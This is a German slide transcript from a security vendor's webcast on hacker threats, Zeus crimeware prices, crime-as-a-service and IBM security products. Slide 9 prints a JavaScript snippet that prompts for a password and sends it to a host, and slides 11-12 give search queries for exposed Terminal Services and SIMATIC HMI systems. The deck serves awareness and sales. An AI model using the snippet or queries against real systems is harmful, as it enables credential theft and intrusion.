Test with (document) { open(); write(" Dieser Webcast hat den Titel Hacker: Raus aus meinem Code " "); close(); }

Präsentation zum Thema: "Test with (document) { open(); write(" Dieser Webcast hat den Titel Hacker: Raus aus meinem Code " "); close(); }"—  Präsentation transkript:

1 Test with (document) { open(); write(" Dieser Webcast hat den Titel Hacker: Raus aus meinem Code " "); close(); }

2 NCT Availability Services GmbH Hacker: Raus aus meinem Code Webcast Ralf Adebar Beratung

3 NCT-Gruppe IBM-Systemhaus 1988 Hosting 2005 Cloud 2010 Frankfurt I Tier 3+ Frankfurt II Tier 3+ Trebur I Tier 2+

4 Das Märchen vom guten Hacker...

5 Do for $ 150,00 Build Zeus

6 United States $ 110, Asia $8

7 USD 30 (GER), USD 140 (USA)

8 Hackers Best Friend(s)

9 var password=prompt ('Ihre Web-Sitzung ist leider abgelaufen. Bitte geben Sie nochmals Ihr Anmeldekennwort in das dazu vorgesehene Feld ein. Die Sicherheit unseres Unternehmens steht an erster Stelle. Wir danken Ihnen.',''); Location.href="https://10.1.1.1/pass.cgi?passwd="+password;

10

11 Search = allinurl:tsweb/default.html

12 http://www.shodanhq.com/search?q=simatic+HMI

13 In Version 3.2.2 mit neuem GUI...

14 Self-Made GPU-Crack-Cluster als Cloud-Service

15 Still in der Mitte: Intelligente Proxies...

16 Höchstwahrscheinlich mit bestehenden Automatismen abzuwehren. (McAfee; 2012)

17 Das Ziel: Clicks&Datengold...

18 Alles von Wert: Kreditkarten, Kontodaten, Adressdaten, CRM-Einträge, eMail-Verkehr, Finanzberichte, Strafeinträge, Datenbanken, Archivsysteme, Maschinensteuerungen, Plandaten, Marketinginformationen, Produktentwicklung...

19 Ihre Gegner: Profis...

20 Jetzt in der Cloud: CaaS (Crime-as-a-Service)

21 Überall gesucht: kompetentes Personal

22 APT Advanced Persistent Thread(s)

23 Wettkampf: Good Guys vs. Bad Guys

24 392.000 11.760 6,68h/d

25

26

27

28

29 IBM: Plattform für End-to-End-Protection

30 Security Consulting Managed Services X-Force and IBM Research IBM Security Portfolio PersonenDatenAnwendungenInfrastruktur IT Infrastruktur – Operational Security Domains Security Intelligence, Analytics and GRC QRadar SIEM QRadar Log Manager QRadar Risk Manager IBM Privacy, Audit and Compliance Assessment Services Identity & Access Management Suite Federated Identity Manager Enterprise Single Sign-On Identity Assessment, Deployment and Hosting Services Guardium Database Security InfoSphere Optim Data Masking Key Lifecycle Manager Data Security Assessment Service Encryption and DLP Deployment AppScan Source & Standard Edition DataPower Security Gateway Security Policy Manager Application Assessment Service AppScan OnDemand Software as a Service Network Intrusion Prevention SiteProtector Management System QRadar Anomaly Detection / QFlow Managed Firewall, Unified Threat and Intrusion Prevention Services Endpoint Manager (BigFix) Virtualization and Server Security Penetration Testing Services Mainframe Security (zSecure, RACF) NetzwerkEndpoint Enterprise Governance, Risk and Compliance Management GRC Plattform (OpenPages)Risk Analytics (Algorithmics)Investigation Management (i2) Mobile Device Management Products Services

31

32 Really Smart: Analytics-Fähigkeiten + Big Data-Technologie = IBM BigInsights plus Qradar (perfekt in der Cloud)

33 Weitere Beispiele: IBM Endpoint Manager Q1Labs SIEM IBM AppScan IBM IntrusionPrevention SSO Identity Management

34 Ihre Partner: Experten! Mike Warfield Senior Wizard, X-Force

35 X-Force Research 15Banalyzed Web pages & images 40Mspam & phishing attacks monthly 60Kdocumented vulnerabilities 13Bsecurity events daily

36 IBM Intelligence Security Plattform: Intelligenter, umfassender Schutz. Einfacher Einstieg. Zukunftssichere Technologie. Integrierte Lösungen.

37 Angebot: IBM AppScan kostenlos testen

38 http://nmap.org/ http://www.foundstone.com/ http://www.mcafee.com/us/downloads/free-tools/index.aspx https://www.blackhat.com/ http://www.heise.de/security/ http://www.honeynet.org/ https://krebsonsecurity.com/ http://sourceforge.net/ https://mosaicsecurity.com/ http://tenmax.com/teleport/pro/home.htm http://torproject.org http://proxychains.sourceforge.net/ http://www.metasploit.com/ http://publicproxyservers.com htttp://webappsec.org http://whitehasec.com/home/stats.html http://w3.org/TR/wsdl http://iewatch.com/ http://parosproxy.org Linksammlung: Die Besten... Die Guten... Die Anderen...

39 melanie.froehder@ nctgmbh.de PW: zeus

40 NCT Availability Services GmbH Hans-Böckler-Straße 21 D-65468 Trebur Tel +49 (0) 6147 913 0 Fax +49 (0) 6147 913 200 www.nctgmbh.de info@nctgmbh.de

41 Test with (document) { open(); write(" Dieser Webcast hat den Titel Hacker: Raus aus meinem Code " "); close(); }